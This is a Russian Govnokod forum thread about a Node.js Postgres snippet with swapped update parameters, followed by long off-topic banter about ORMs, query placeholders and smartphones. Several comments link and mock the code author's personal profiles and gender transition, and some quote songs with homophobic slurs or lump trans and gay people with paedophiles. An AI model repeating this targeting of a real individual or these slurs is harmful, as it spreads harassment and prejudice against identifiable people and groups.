ЙажаСценарий / Говнокод #27509 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
async Create(id, subscribe_yyyymmdd) {
  const query = "INSERT INTO users(id,subscribe_yyyymmdd) VALUES ($1,$2) RETURNING *";
  const values = [id, subscribe_yyyymmdd];
  try {
    const result = await this.db.query(query, values);
    return result.rows[0].id;
  } catch (error) {
    this.logger.error(error);
  }
},

async Update() {
  const query = "UPDATE users SET subscribe_yyyymmdd = $1 where id=$2 RETURNING *";
  const values = [id, subscribe_yyyymmdd];
  try {
    const result = await this.db.query(query, values);
    return result.rows[0].id;
  } catch (error) {
    this.logger.error(error);
  }
},

Из https://vk.com/wall521764930_6553 .

Запостил: PolinaAksenova PolinaAksenova, (Updated )

Комментарии (1024) RSS

  • пыхеры на JS перешли и пилят свой унылый бойлерплейт там?

    Люди, ну откройте уже для себя ORMы. Жизнь слишком коротка, чтобы писать тонны тупого одинакового говна
    Ответить
    • Примечание автор_ки: "как же мне нравится мой стиль написания обращений к базе".
      Ответить
      • А ведь даже без SQL инъекций! За одно это похвалить можно.
        Ответить
        • Мы не знаем устройства класса this.db.

          На ГК были реальные примеры, как инъекции протаскивали в псевдо-ОРМы фреймворков.
          Ответить
          • exports.Commands = (bot) => {
              bot.onText(/\/start/, (msg) => {
                users.RegisterUser(
                  msg.from.first_name,
                  msg.from.last_name,
                  msg.from.username,
                  msg.from.id
                );
                var options = {};
                bot.sendMessage(
                  msg.chat.id,
                  "Привет! я помогу тебе найти жилье, или найти арендаторов."
                );
                bot.sendMessage(msg.chat.id, "Давай приступим", optionsMenu);
              });
              bot.onText(/\/menu/, (msg) => {
                users.RegisterUser(
                  msg.from.first_name,
                  msg.from.last_name,
                  msg.from.username,
                  msg.from.id
                );
                bot.sendMessage(
                  msg.chat.id,
                  "Привет! я помогу тебе найти жилье, или найти арендаторов.",
                  optionsMenu
                );
              });
            };
            Ответить
              • я занят

                я программист, и день-деньской пишу
                msg.chat.id,
                      "Привет! я помогу тебе найти жилье, или найти арендаторов.",
                      optionsMenu
                Ответить
            • лапша
              db.query(
                "CREATE TABLE if not exists users(uid bigserial,id integer,first_name character varying(34),username character varying(34),last_name character varying(34),PRIMARY KEY (uid));"
              );
              
              // какой DRY ))
              
              exports.RegisterUser = (first_name, last_name, username, id) => {
                const query =
                  "INSERT INTO users(first_name,last_name,id,username) VALUES($1,$2, $3,$4) RETURNING *";
                const values = [first_name, last_name, id, username];
              
                this.FindByID(id).catch((status) => {
                  if (status === false) {
                    db.query(query, values, (err, res) => {
                      if (err) {
                        console.log(err.stack);
                      } else {
                        console.log(res.rows[0]);
                  //это емейл автора пакета, он спизжен
                        // { name: 'brianc', email: 'brian.m.carlson@gmail.com' }
                      }
                    });
                  }
                });
              };
              Ответить
    • ни за что... только МонгоДВ.... "я никогда не вернусь на ОRM" 🙂
      Ответить
  • https://vk.com/katelinlis
    > Обращаться в жен роде, меня зовут Кейтлин
    > я в процессе смены пола,работаю программисткой
    > скоро собираюсь сходить в военкомат, так как мне так и не позвонили еще от туда, пойду сама

    Ожидаемо
    Ответить
        • Это я ещё не сразу прислал. Дня три в Твитторе обсуждали.

          Один мужик в реплаях жалел, что два года жизни на срочку угробил. Говорит, лучше бы тоже в военкомат в юбке пришёл.
          Ответить
          • Джва года это флот что ли? Или он давно ещё служил?
            Ответить
          • Приходишь в военкомат в юбке, а там уже спецчасть для трапов организовали.

            Какая в жопу разница, кто будет плац от листьев чистить.
            Ответить
                • Сегодня вы не солдаты. Сегодня вы девочки-волшебницы. Берёте волшебные палочки и выходите на плац.
                  Ответить
                  • Я сказал на плац? Я имел в виду асфальтовую площадку для выгула единорогов
                    Ответить
            • Ещё кое-что вспомнил.

              На военной кафедре нам показывали видеозаписи со сборов, проходивших в предыдущие годы. В день присяги был концерт, на сцене выступали офицеры, срочники из части и наиболее подготовленные курсанты. На некоторых сборах в одном из номеров курсанты изображали девушек.

              Был такой номер и на наших сборах. Мои сокурсники повязали платочки и пели: «Ах, мамочка, на саночках каталась я не с тем» (под фанеру, правда). Тни, сидевшие в зале, их выступление раскритиковали: «Девушки не ставят так ноги, когда сидят. Вам ещё надо поучиться».
              Ответить
              • > Тни, сидевшие в зале, их выступление раскритиковали: «Девушки не ставят так ноги, когда сидят. Вам ещё надо поучиться».
                И вот тут надо было напрашиваться на индивидуальное обучение.

                > повязали платочки
                Amateurs!
                Хотя бы юбки бы надели. И без трусов. Тогда бы правильное положение ног выработалось бы быстрее.
                Ответить
      • Кстати, никто так и не решился пригласить её к нам?
        Ответить
        • зачем нам еще один трап, да еще и такой посредственный программист?
          Ответить
          • Прокачаем 😉

            Все мы когда-то были посредственными программистами.
            Ответить
            • Job Security.

              * Никогда не пишите документацию, тогда без вас не смогут разобраться
              * Никогда не отвечайте на вопросы коллег, иначе разберутся без вас, и вы станете ненужны
              * Никто не автоматизируйте свои действия. Делайте всё долго и вручную, так никто не скажет, что вы "ничего не делаете", да и без вас не смогут это повторить
              * Никогда никого не учите, не плодите конкурентов
              Ответить
                • А если вы сисадмин, то переодически удаляйте у людей нужные файлы

                  Вы их потом восстановите из бекапа, и все будут думать, что вы крутой
                  Ответить
          • У снобопитуха подгорело )))

            Вот кстати интересно, насколько вообще все эти любители крикнуть "фи, посредственный программист" или "лошара, алгоритмов не знает" или "как можно пойти в программирования без знаний хуории категорий" вообще сами сильны в программировании.
            Может реально в школе их чморили за тупость, потом они еле-еле поступили в программистский вуз, были выгнаны оттуда, а теперь меняют тонер в принтерах, пытаются подняться за счёт любого попавшегося человека, но больше всего боятся любой конкуренции, поскольку понимают, что даже в написании "hello, world" продуют любому?
            Ответить
              • <div  class=" d-flex flex-column flex-md-row align-items-center p-3 px-md-4 mb-3 bg-white" v-bind:class="{'fixed-top border-bottom shadow-sm':StickyHeader}">

                веб -- гавно
                Ответить
                  • vue

                    но там кода нет практичесик, сайт мог бы и статическим быть
                    Ответить
                    • > сайт мог бы и статическим быть

                      Да, но по-любому захочется что-то динамическое прикрутить. Да и общий темплейт для страничек не через мейкфайлы m4 же прикручивать.
                      Ответить
                      • через SSI

                        Вообще генераторов статических сайтов дохера.
                        Если тебе не нужна интерактивность, то зачем запускать достаточно жырный рантайм фреймворка?
                        Ответить
                      • > Да и общий темплейт для страничек не через мейкфайлы m4 же прикручивать.

                        Упс (/ω\)
                        Ответить
                            • Сорок пять лет назад всем было очевидно, что если ты хочешь из исходников собрать какой-то документ, то тебе нужен make.

                              А теперь люди вордпресс ставят, или какую-то собиралку на JS, которая зависимостей на 800 мегабайт тянет.

                              Мир сошел с ума
                              Ответить
                                • Ну а что. Просираются фишки прогресса.
                                  Казалось бы, производители произвели новое железо помощнее - всё должно летать. А из-за анскильных питухов все те же задачи, что были 30 лет назад, решаются за то же время.
                                  Казалось бы, производители сделали репозитории и пакеты, чтобы можно было делиться хорошим кодом и писать надёжные проекты. А из-за анскильных питухов, не осиливших паддинги и включивших автообновление вслепую, упала куча сервисов.

                                  Если ты используешь громоздкую питушню, то должна заметна расширяться функциональность (например, сайт имеет быстрый поиск по кускам фраз, тегам и ассоциациям; автоматически адаптирует интерфейс под каждого нового пользователя). Иначе используй старое проверенное решение, которое будет на новом железе летать.
                                  Ответить
                                  • покажите мне человека, который сегодня будет добровольно юзать софт тридцатилетней свежести
                                    Ответить
                                          • Там /bin/true с первого раза правильно написать не смогли, а cat намного сложнее.
                                            Ответить
                                              • > А в чём была ошибка?

                                                Его крашнуть можно было специально сформированным симлинком. Имя бинаря передали в строку формата для printf, в общем.
                                                Ответить
                                        • Не расстраивайся. Говнокод нерепрезентативный.
                                          Ответить
                                        • Ну это пердолики, что с них взять.

                                          А вот какая-нибудь более молодая питушня вроде python2 или windows7 вполне себе актуальна и решает многие задачи. Расклад бы был другим, если бы на компьютерах насильно не предустанавливали win8-10 и не делали питушню с насильным переходом на win8-10.
                                          Ответить
                                    • > покажите мне человека, который сегодня будет добровольно юзать софт тридцатилетней свежести

                                      Тут больше половины ГК использует awk, sed, grep, X.org
                                      Ответить
                                      • X.orgу нету тридцати лет. Я еще XFree86 застал.
                                        Правда, X.org от него форкнулся
                                        Ответить
                                      • ну ок

                                        то есть у половины ГК awk, sed, grep, X.org версий от 1991 года, верно?
                                        Ответить
                                        • Я, бывает, пользуюсь софтом 1991-го года.
                                          В досбоксе могу сыграть в принца персии, гоблинов или loom
                                          Ответить
    • > Купила стойку для микрофона
      > у нее есть хороший качественный провод
      > но он usb b
      > захотела переделать под usb mini
      >
      > но потом вспомнила, а у меня паяльника нет.... надо идти в магазин за инструментами для пайки найс

      Ну что за пердолинг!

      А аватарка новая - зачётная.
      Ответить
  • > yyyymmdd

    Джаваскрипт и даты. Там до сих пор боль с датами?
    Ответить
    • До сих пор.

      Но тут вообще не факт, что дело в JS.
      Надо смотреть, как устроено this.db (лень открывать код и смотреть). Всякие штуки вида https://www.npmjs.com/package/mysql инкапсулируют пердолинг с датами и другими типами: https://github.com/mysqljs/mysql#escaping-query-values, подставляя их как надо. Разве что надо писать "IN (?)" вместо "IN ?" для массива, т.к. он раскрывается как питушня через запятую (видимо, для удобства в других местах). И SELECT в результатах даёт даты где надо (однако, это конвертирование можно отключить).

      > subscribe_yyyymmdd
      В общем-то, из приведённого фрагмента кода неясно, что это за питушня такая. Может, автор настолько одинок, что забыл слово "date".
      Ну и название поля какое-то анскильное.
      Ответить
      • Там Постгрес со слов автора.

        Поля могут быть названы криво, если база шарится между несколькими приложениями, и другое приложение требует таких названий.
        Ответить
      • Бывают тяжёлые случаи, когда дату хранят в двух форматах:

        1. TIMESTAMP или просто число, хранящее количество секунд от начала эпохи Unix. Удобно для вычисления разницы между датами, для сортировки и поиска, но не годится для отображения исторических событий до 1970-го года, вроде дат рождения бумеров. А если число 32-разрядное, то оно ещё не годится для планирования будущего.

        2. DATETIME или строка. Годится для отображения дат из широкого диапазона, но неудобно для вычисления разности дат, сортировки, поиска.

        Из-за этого некоторые велопедят. Ну и в хайлоаде любят всё переводить заранее в строковый вид для быстрого отображения.
        Ответить
        • > неудобно для вычисления разности дат

          По-моему даже в mysql были функции для дат...

          > сортировки, поиска

          YYYYMMDD прекрасно сортируется и индексируется, к слову. Оно же строго упорядоченное.
          Ответить
            • Вот зачем они там кста миллион вореций формата сделали? Как обычно, чтобы никого не обидеть.
              Ответить
              • Конечно. Стандарт С++ тоже ISO, кстати. Видимо родственные души делали.
                Ответить
              • А ещё это... дата в UTC, дата в местном часовом поясе, монотонное время, время с учётом високосной секунды, время по юлианскому календарю для событий в прошлом...
                Ответить
    • Пермалинк на профиль (на случай смены юзернейма):

      twitter.com/intent/user?user_id=1161263147656855557
      Ответить
      • Все так заинтересовались трапом, кажется будь он девушкой -- такого внимания бы не было
        Ответить
          • Гыгыкать и улюлюкать можно над кем угодно. Законы физики не запрещают.
            Ответить
              • Не считаю что MtF трансы чем-то заслужили повышенное гыгыканье и улюлюканье. Как-то расспрашивал я одну такую в интернете, вопросы были примерно из серии "а что это за такая гендерная дисфория, как это ощущается?", "а как родители отнеслись, а как друзья?" и проч... в общем хреново быть трапом, по возможности избегайте этого.
                Ответить
                  • Есть исследования на тему устройства мозга трансов, например вот https://www.sciencedaily.com/releases/2018/05/180524112351.htm

                    > Brain activity and structure in transgender adolescents more closely resembles the typical activation patterns of their desired gender, according to findings to be presented in Barcelona, at the European Society of Endocrinology annual meeting, ECE 2018. These findings suggest that differences in brain function may occur early in development and that brain imaging may be a useful tool for earlier identification of transgenderism in young people.

                    Ну т.е. желание быть каким-то полом как-то запрограммировано в мозгах. Насмехаться из-за того, что в мужском теле оказался женский мозг (или наоборот, в женском теле оказался мужской мозг) ... ну это такое себе. С тем же успехом можно и над слепыми с рождения насмехаться, раз такие моральные нормы
                    Ответить
                • Эти вот психологические проблемы, типа "я неполноценная девушка, плак-плак", "у меня голос не такой как надо", какая то суицидальная хрень еще. Лучше быть геем, чем трансом.
                  Ответить
                    • ага

                      педерасты, педофилы, bdsmщики, наркоманы, геи, трансы, веганы, вот это всё
                      Ответить
                      • Дума, соседи, судебные приставы,
                        служба налогов, ГАИ и дорстрой,
                        гопники, банки, таможня, коллекторы,
                        почта России отдельной строкой,
                        олигархи, политики, собес, поликлиники,
                        чиновники, судьи, артисты, манту,
                        начальник отдела, президенты Америки
                        и, наконец, автор песни «Ту-ту».

                        https://youtu.be/bxozBxAUJqM
                        Ответить
                        • Текст этой песни не гуглится. Получается, на текущий момент «Говнокод» — единственный источник цитаты?
                          Ответить
                        • Не бывает идеальных ни народов и ни расы —
                          В каждой группе населенья ну хоть что-то, да не так:
                          С точки зрения лягушек, все французы пидарасы,
                          А корейцы пидарасы с точки зрения собак.

                          С точки зрения троянцев, пидарасы были греки,
                          А троянцы пидарасы с точки зрения коней.
                          Очень много пидарасов так и сгинуло навеки,
                          Но огромная их масса дожила до наших дней.

                          Люди делятся на группы, на враждующие классы,
                          Под ошибочным девизом «Все уроды, кроме нас», —
                          Натуралы утверждают, что все геи — пидарасы,
                          А копнёшь под натуралов — каждый третий пидарас!

                          Но из всей огромной массы пидарасов и уродов
                          Можно выделить особый очень маленький народ, —
                          В нём сплошные пидарасы с точки зренья ВСЕХ народов,
                          Потому что у природы должен быть громоотвод!

                          https://youtu.be/PSaUH86KUFU
                          Ответить
                      • ...пхпшники, джаваскриптеры, мускуленяки, растоманы, готушки, гцухи...
                        Ответить
                        • А разве пхпшник от гошника и мускульщика отличается? А от любителя гэцэ?
                          Ответить
                    • > обыватели

                      Никогда не понимала, чем эти самые геи и трансы так задевают чувства обывателей.

                      Обыватели просто хотят самоутвердиться за счёт других, а тут как раз такой охуенный повод?
                      Ответить
                      • У некоторых семитских племён, кочевавших в доисторические времена по территории Ближнего Востока, был запрет на гомоеблю.
                        Скорее всего их и так было не много, и это была такая попытка запретить тратить силы зря.

                        Оттуда запрет перешел в иудаизм, а из него во все авраамические религии (втч христианство и ислам)

                        В тех странах, где эти религии распостранились, распостранился и запрет. Отсюда и гомофобия.

                        Там, где религии были другие (античные Греция и Рим, современная Индия c хиджрами) вполне нормально что угодно делать с полом.

                        Интересно, что системная гомофобия в странах Запада была побеждена уже в 80-е, но сейчас маятник качнулся в обратную сторону, и некоторые вконец упоротые пытаются говорить, что пол вообще выдумка, и иметь его неприлично. Это вызывает раздражение и отторжение, и новые витки гомофобии
                        Ответить
                        • > запрет на гомоёблю

                          Большая часть правил несла какой-то практический смысл.

                          Возможно, они так боролись с распространением каких-то болезней? В религиях же обычно есть пункт, что налево ходить тоже нельзя.
                          Ответить
                          • Я не уверен, что гомогеи в ту пору распотроняли болезни

                            В Риме целые армии в жопу поролись, и ничего
                            Ответить
                            • Ну а зачем тогда вообще все эти правила про ограничение ёбли в целом?
                              Ответить
                              • Какие именно?

                                Если мы про гому, то вероятно чтобы не тратить впустую семя.

                                Запрет на еблю чужих тян сделан потому, что самец не хочет чтобы тян плодили чужое потомство, а сама тян не хочет плодиться от неудачных самцов

                                Хотя ценность девственниц и правда может быть связана (в том числе) и с отсутствием заболеваний. Особенно важно это стало уже в средние века и новое время, когда стали бросить по Европе ЗППП
                                Ответить
                                • > вероятно чтобы не тратить впустую семя.

                                  - сцук, напомнило ситуацию, описанную в "Агнце", когда у иудеев дрочить было грехом, но этот грех можно было пофиксить, покупавшись в каком-то специальном бассейне. аж интересно, какая там была вода после пару дней использования (на самом деле нет)
                                  Ответить
                                  • Лайфхак — дрочить сразу в бассейне. После пары месяцев использования этот бассейн сможет исцелять бесплодие и способствовать непорочному зачатию.
                                    Ответить
                            • > В Риме целые армии в жопу поролись

                              - приведи реальный пример
                              Ответить
                              • Прошу прощения, я напиздел. Не в Риме это было конечно, а в Греции.

                                >>
                                И опять, так называемый Священный отряд в Фивах состоит из любовников и их избранников, проявляя таким образом величие бога Эроса в том, что бойцы отряда избрали погибель со славой перед невзрачной мизерной жизнью



                                О том, что в Беотии гомосексуальные связи свободных мужчин практиковались открыто, свидетельствуют многие античные авторы, например, Платон в «Пире»[2]; Элиан отмечает, что со времён мифического царя Лаия «привязанность к красавцам фиванцы стали считать благом»[3]. О том, что в Фивах мужчины имеют обычай ставить своих любовников рядом с собой в бою, упоминает и Сократ в «Пире» Ксенофонта. С другой стороны, мысль о том, что армия, составленная из любовников, была бы непобедима, поскольку возлюбленный устыдится струсить на глазах любящего, а любящий предпочтёт смерть оставлению возлюбленного на произвол судьбы — высказывается Федром в «Пире» Платона и, следовательно, не была чем-то необычным для IV в. до н. э. даже в более строгих к гомосексуальным связям Афинах.


                                ----

                                В Риме было чуть сложнее

                                Самым молодым солдатам, которые ещё могли бы сохранить элементы подростковой привлекательности (что ценилось римлянами в однополых отношениях), было рекомендовано усилить свои мужские качества, не использовать духи, не обрезать волосы в подмышках и в ноздрях
                                Ответить
                      • В самом общем смысле — древний как говно мамонта инстинкт: нядоверие к другим.
                        В случае геев и прочих лесбиянок наяиболее знячимыми чисто социальными стигматизирующими факторами, няверное, являются религии (те же христианство и ислам в самой своей основе абсолютня гомофобны) и, ня территории России и бСНГ, тюремная субкультура, которая, к сожалению, является самым нястоящим культурным раком и пустила метастазы в существенную часть няселения нашей страны.
                        Ответить
                        • В тюремной культуре забавно: передарстом(опущенным) считается пассив, даже если опустили его против его воли (скорее всего это было именно так).

                          Активный же педерастом не считается, хотя он ебал по собственной инициативе (чаще всего) и даже кончил

                          Казалось бы, вот кто пидар, но нет
                          Ответить
                    • Да я как-то одинаково отношусь что к тем, что к тем.
                      Ответить
  • Перевела на "PHP":
    <?php
    class Pituh {
    function Create($id, $subscribe_yyyymmdd) {
      $query = 'INSERT INTO users(id,subscribe_yyyymmdd) VALUES ($1,$2) RETURNING *';
      $values = [$id, $subscribe_yyyymmdd];
      try {
        $result = $this->db->query($query, $values);
        return $result->rows[0]->id;
      } catch (Exception $error) {
        $this->logger->error($error);
      }
    }
    
    function Update() {
      $query = 'UPDATE users SET subscribe_yyyymmdd = $1 where id=$2 RETURNING *';
      $values = [$id, $subscribe_yyyymmdd];
      try {
        $result = $this->db->query($query, $values);
        return $result->rows[0]->id;
      } catch (Exception $error) {
        $this->logger->error($error);
      }
    }
    }
    Ответить
  • Максим Никифоров 
    Так надо бнять sequelize юзать нормально
    
    Кейтлин Лис 
    Максим, зачем?
    
    Максим Никифоров  ответил Кейтлин
    Кейтлин, потому что ORM
    
    Кейтлин Лис  ответила Максиму
    Максим, зачем мне ORM ? когда я запрос SQL могу написать и сразу же обработать
    
    Максим Никифоров  ответил Кейтлин
    А тебе так удобнее? Юзать запросы напрямую в хардкоре
    
    Кейтлин Лис  ответила Максиму
    Максим, да, так даже производительность выше
    
    Максим Никифоров  ответил Кейтлин
    Кейтлин, limit 1 тогда поставь
    
    Кейтлин Лис  ответила Максиму
    Максим, хорошее замечание, спасибо
    будет меньше объема летить из базы

    Какой багор ^_^^_^^_^
    Ответить
    • > limit 1

      Хм, а как это поможет? Там выбиралась самая свежая из группы записей или что-то в этом духе?
      Ответить
        • А в where и order что? Просто если там по условию одна запись, то зачем лимит?
          Ответить
          • Ня зняю. В запросах ня скриншоте, которые INSERT/UPDATE, действительня только одня запись.
            Ответить
          • Ну кстати вот в инстаграме надпись "нравится pitux001 и 100500 анскиллябрам" так можно генерить.
            Ответить
      • Сколько ему? 22? Я в таком возрасте «SQL» вообще не знал, всё сохранял в «CSV» или вообще в бинарник, если поля были фиксированного размера.
        Ответить
    • У меня в контроллерах нет никаких "SQL" и "ORM", именно поэтому я за контроллеры.
      Ответить
      • Object Pin Mapping как в сишарповых либах для малинки.

        new Pin(42, Pin.PULL_UP)
        Ответить
        • Я всякие там сишарповые либы не использую, там анскильная GC-тушня. Да и малинка это уже не контроллер, а хрень с MMU и полноценным линуксом с кучей оперативы. Вот например RP2040 это контроллер, но вряд ли там эти шарполибы заведутся
          https://www.raspberrypi.org/products/raspberry-pi-pico/specifications/
          Dual-core Arm Cortex-M0+ processor, flexible clock running up to 133 MHz
          264KB on-chip SRAM
          2MB on-board QSPI Flash
          Ответить
          • > Dual core
            > Cortex-M0

            Жесть, даже M0 уже с двумя ядрами идут...
            Ответить
  • Нашёл новую версию кода: https://pbs.twimg.com/media/E54bp89WYAAwbXi.png

    Посмотрите на строки №02 и №13 в старой версии. Все заметили ошибку? Да, во второй функции параметры «id» и «subscribe_yyyymmdd» перепутаны. А всё потому, что пакет «node-postgres» не поддерживает именованных параметров:
    https://github.com/brianc/node-postgres/issues/268

    Корни проблемы глубже. Оказывается, команду «PREPARE» с именованными параметрами поддерживает только «Оракл». В остальных СУБД либо нет именованных параметров (в плейсхолдерах можно писать только знаки вопроса (?) или в лучшем случае $1, $2, как тут), либо вообще нет «PREPARE».

    В «Постгресе» параметры неименованные, но хотя бы нумерованные:
    https://www.postgresql.org/docs/13/sql-prepare.html

    В «MySQL» параметры неименованные и ненумерованные. Справка «MySQL» предлагает устанавливать локальные пельменные командой SET, чтобы не запутаться:
    https://dev.mysql.com/doc/refman/8.0/en/sql-prepared-statements.html

    В «MS SQL Server», в «Firebird», в «Sybase» вообще нет «PREPARE», там «EXECUTE» является частью «PSQL», т. е. они предлагают писать хранимые процедуры на встроенном языке:
    https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-prepare-transact-sql
    http://firebirdsql.su/doku.php?id=execute_statement
    В «Sybase» очень запутанная справка, поэтому ссылку кидать не буду.

    В «SQLite» нет «PREPARE» на уровне языка, но есть в сишном интерфейсе в виде отдельной функции. И похоже, что именованные параметры поддерживаются:
    https://www.sqlite.org/c3ref/bind_parameter_name.html
    Ответить
    • К счастью, есть библиотеки, которые умеют мумулировать именованные параметры.

      «PDO» в «PHP»:
      https://www.php.net/manual/ru/pdo.prepared-statements.php

      Питонячий «DB-API»:
      https://www.python.org/dev/peps/pep-0249/#paramstyle

      Возможно, ещё в каких-нибудь языках есть красивые библиотеки.

      Блядь, как всё сложно.
      Ответить
      • > Блядь, как всё сложно.

        Именно поэтому я за «ORM»: пердолинг сводится к минимуму, ещё и экранировать ничего не нужно (не говорю про «РНР», ведь там всё наоборот, т.к. «ORM» пишется под каждый проект отдельно).

        Кстати, в ДЖАВЕ (в «spring») есть такая штука: там можно сделать метод, что-то типа «public static siteUserDataModel getSiteUserDataModelBySiteUserDataModelI D(int siteUserDataModelKey) {», навесить какие-то аннотации и спринг сам тебе по имени метода напишет его реализацию, которая вернёт юзера по его айдишнику.
        Ответить
        • У меня в контроллерах нет никаких «ORM» и нет никаких «SQL», поэтому я за контроллеры
          Ответить
          • Скоро у тебя зато в контроллерах будут аппаратные «DRM» и тогда ты охуеешь)
            Ответить
            • У j123123 ня тот имбедед, который "взяли малинку и присобачили монитор", а тот, который "20 килобайт памяти? Ого, развернёмся!". (─‿‿─)
              Ответить
              • и что, 20 килобайт хватит для прошивки ракеты?

                если нет то зачем такой имбед?
                Ответить
                • Ну как тебе сказать...
                  https://en.wikipedia.org/wiki/Apollo_Guidance_Computer

                  The computer had 2048 words of erasable magnetic-core memory and 36,864 words of read-only core rope memory. [...] The memory word length was 16 bits: 15 bits of data and one odd-parity bit.
                  72 килобайта (вместе с битами чётнясти) постоянной памяти, 4 килобайта "оперативной".
                  Ответить
                    • Ну да, для многих современных программистов это потерянное няследние древней цивилизации.

                      Няпоминаю, что имення этот "копролит" успешня довёз людей до Луны и обратня \(^▽^)/.
                      Ответить
                      • это конечно прекрасно что оно там куда-то долетело, я за них рад

                        вот стартап с машинками собрал кучу бабок https://www.reuters.com/business/autos-transportation/ev-startup-rivian-announces-25-bln-funding-round-led-by-amazon-ford-2021-07-23/
                        а вот гугл делает роботов https://blog.x.company/introducing-intrinsic-1cf35b87651

                        это по моему мнению жсника современный имбедед и думаю что помяти там поболее 20кб

                        потом я иду на говнокод и вижу как j123123 говорит что у него в контроллерах нихуя нет и что это заебись

                        может это все-таки не заебись а какая-то странная возня на фоне остального мира?
                        Ответить
                        • Ну я и говорю: это как раз тот имбед, который "взяли малинку и прикрутили монитор". А у j123123 он другой, нясколько более хардкорный и высокоуровневым программистам няпонятный.
                          Ответить
                              • это разве не странная возня? почему бы не заниматься машинами или роботами если ты имбедщик?
                                Ответить
                                • Ну да, имення благодаря такому мышлению программистов у нас и происходит деградация IT-отрасли.
                                  Ответить
                                    • А что, ситуация, когда дешёвый смартфон восьмилетней давности ня древнем андроиде работает быстрее и отзывчивее современного восьмиядерного — это ня деградация?
                                      Ответить
                                      • если мы говорим фактически - то приводи конкретные примеры. У меня например современный pixel 4 работает настолько лучше чем старый дешевый meizu m2(прошивка на последнем не обновлялась уже спустя год после покупки) что охуеть можно

                                        в отрыве от фактов нытье о засилье электрона, тормозящих программах и бездарных макаках и прочие популярные на говнокоде сентименты - это старперство и сожаление о временах когда хер стоял и трава была зеленее
                                        Ответить
                                        • > Battery life was really poor. The Pixel 4 only lasts just over 14 hours between charges. Remove it from the charger at 7am and it will be dead by 9pm.
                                          Понятня.

                                          В няше время смартфоны вполне могли работать по няскольку дней от одной зарядки, и даже сейчас "Fonepad Note FHD6" с убитым в хлам аккумулятором (пять лет няпрерывного использования) работает дольше этого современного стильного модного молодёжного аппарата.
                                          Ответить
                                            • Зачем говорить о скорости и отзывчивости, если мобильный телефон ня способен адекватня выполнять свою базовую функцию: быть мобильным? Это примерня как обсуждать мощность двигателя машины с квадратными колёсами.
                                              Но если тебе всё таки интересня — я сравнивала указанный "Asus" с каким-то современным "Xiaomi" из той же ценовой категории (примерня $250). Увы, но сделать задержки интерфейса (при нажатии ня практически любые системные кнопки) меньше секунды — задача для современных "программистов" няпосильная.
                                              Ответить
                                              • Опять старперство. С современными самртфонами все в порядке и они адекватны современному образу жизни

                                                >примерня $250
                                                смартфоны из этой категории работают хуево из-за говнопрошивок и перегрева. И работали хуево, и будут работать хуево. При этом умеют они побольше старых
                                                Ответить
                                                • > смартфоны из этой категории работают няёво из-за говнопрошивок и перегрева
                                                  Только вот беда: смартфоны из этой категории раньше работали существення лучше. Я привела тебе конкретный пример, но, увы, видимо, для современного человека жрать говно — это нормальня, если оно современное.
                                                  Ответить
                                                  • Это байки и разговоры ни о чем

                                                    Я в 2013 видел "смартфоны" на которых fruit ninja запускался с 10 фпс. Вот тебе исчислимая метрика, найди хоть один смартфон из выпущенных за последний год дороже 50$ на которых fruit ninja будет работать с 10фпс
                                                    Ответить
                                                    • если мы говорим фактически - то приводи конкретные примеры.

                                                      Но вообще забавня: я тебе про тормоза системного интерфейса, ты в ответ нячинаешь про игрушки говорить.
                                                      Ответить
                                                      • >конкретные примеры
                                                        Huawei IDEOS U8150 или его потомок

                                                        >Но вообще забавня
                                                        я даю тебе возможность добавить хоть немного credibilty твоему старперскому нытью с помощью исчисляемых метрик
                                                        Ответить
                                                        • > Huawei IDEOS U8150
                                                          И это замечательный пример! Если бы ПО для этого смартфона писали современные "программисты" — он бы просто ня заработал.

                                                          Но да, проще всего увидеть деградацию просто подержав в руках два смартфона из разных "эпох". Впрочем, някоторым даже это ня поможет: секундные задержки при нажатии ня кнопки системного интерфейса для них стали нормой, примерня как тормоза современного веб-интерфейса "GMail".
                                                          Ответить
                                                            • Давно новый комп за $9999.99 брал, чтобы "Гуглопочта" могла джвадцать кнопок с текстом отрисовывать быстрее, чем в 15 ФПС?
                                                              Ответить
                                                                • > Впрочем, някоторым даже это ня поможет: секундные задержки при нажатии ня кнопки системного интерфейса для них стали нормой, примерня как тормоза современного веб-интерфейса "GMail".
                                                                  Ответить
                                                          • Ещё и нормальные телефоны испортили.
                                                            Раньше были старые чёрно-белые, которые вообще не тормозили.
                                                            Потом пошли цветные тормозные, которые тормозили, когда пользователь переключался по пунктам меню (и это не анимация. при отключении анимации просто была задержка, анимация переключения пункта делала тормоза переключения визуально приятной).
                                                            Потом пошли телефоны-однодневки (по времени работы от одного заряда; одногодки - по времени работы до того, как в очередном обновлении не вкатят какое-то тормозное говно), а нормальные телефоны урезали. Секрет изготовления чёрно-белых крепких телефонов утерян, цветные с кнопками сделали ещё более тормозными и охренеть какими некачественными. Выбор есть только между тормозным прямоугольником и... И всё. Цветные с кнопками уже не те. Со стоимостью тоже плохо. За прошлый снаппёый экспириенс надо платить гораздо дороже, и прокисает он быстрее.
                                                            Ответить
                                                            • > анимация переключения пункта делала тормоза переключения визуально приятной
                                                              Вот кстати да, это очень частая болезнь в современном софте: вместо того, чтобы сделать реакцию ня няжатия кнопок быстрой, макаки делают кружащиеся, двигающиеся, свистящие и някающие финтифлюшки, которые как бы говорят пользователю: эй, пользователь, няс писала тупая макака, няспособная быстро нярисовать десять пунктов меню ня ЭВМ, которая двадцать лет нязад считалась бы суперкомпьютером, поэтому вот тебе няпоминание, что о тебе ня забыли, любим тебя, чао! (˘ ³˘)♥.
                                                              Ответить
                                        • > pixel 4 работает настолько лучше чем старый дешевый meizu m2
                                          ну как бы потому что даже новое говно китайское работает лучше, чем старое говно китайское
                                          а сколько будет радости, когда наконец раскошелишься на гнусмас или апфель...
                                          Ответить
                                        • > в отрыве от фактов нытье о засилье электрона, тормозящих программах и бездарных макаках и прочие популярные на говнокоде сентименты - это старперство и сожаление о временах когда хер стоял и трава была зеленее

                                          Не, ну а зачем они просто берут и говняют то, что хорошо работало?
                                          Куда просрали технологии чёрно-белых телефонов? GSM ещё не сгнил, телефоны начала века работали бы вообще без изменений, только штампуй и продавай.
                                          Гуглопочта тоже работала хорошо, с интерфейсом образца 2013, кажется, она уже смотрелась стильно, модно, молодёжно. Зачем было всё усложнять?

